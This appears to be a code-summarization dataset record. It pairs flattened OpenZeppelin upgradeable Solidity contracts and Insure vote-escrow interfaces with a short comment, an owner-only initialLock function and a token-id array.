bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[45] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; interface IInsureGauge { function deposit(uint256 _value, address _addr) external; function balanceOf(address) external view returns (uint256); function withdraw(uint256) external; function template() external view returns(address); } interface IInsureVoteEscrow { function create_lock(uint256, uint256) external; function increase_amount(uint256) external; function increase_unlock_time(uint256) external; function withdraw() external; function smart_wallet_checker() external view returns (address); } interface IWalletChecker { function check(address) external view returns (bool); } pragma solidity 0.8.10; //SPDX-License-Identifier: MIT interface IOwnership { function owner() external view returns (address); function futureOwner() external view returns (address); function commitTransferOwnership(address newOwner) external; function acceptTransferOwnership() external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) pragma solidity ^0.8.0; /** * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified * proxy whose upgrades are fully controlled by the current implementation. */ interface IERC1822ProxiableUpgradeable { /** * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation * address. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. */ function proxiableUUID() external view returns (bytes32); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../interfaces/draft-IERC1822Upgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal onlyInitializing { } function __ERC1967Upgrade_init_unchained() internal onlyInitializing { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallUUPS( address newImplementation, bytes memory data, bool forceCall ) internal { // Upgrades from old implementations will perform a rollback test. This test requires the new // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing // this special case will break upgrade paths from old UUPS implementation to new ones. if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) { _setImplementation(newImplementation); } else { try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) { require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID"); } catch { revert("ERC1967Upgrade: new implementation is not UUPS"); } _upgradeToAndCall(newImplementation, data, forceCall); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; }
release old lock if existscreate new lock
function initialLock() external onlyOwner{ uint256 veinsure = IERC20Upgradeable(escrow).balanceOf(address(this)); if(veinsure == 0){ uint256 unlockAt = block.timestamp + MAXTIME; uint256 unlockInWeeks = unlockAt / WEEK; _release(); uint256 insureBalanceStaker = IERC20Upgradeable(insure).balanceOf(address(this)); _createLock(insureBalanceStaker, unlockAt); unlockTime = unlockInWeeks; } }
274,086
[ 1, 9340, 1592, 2176, 309, 1005, 1017, 602, 394, 2176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
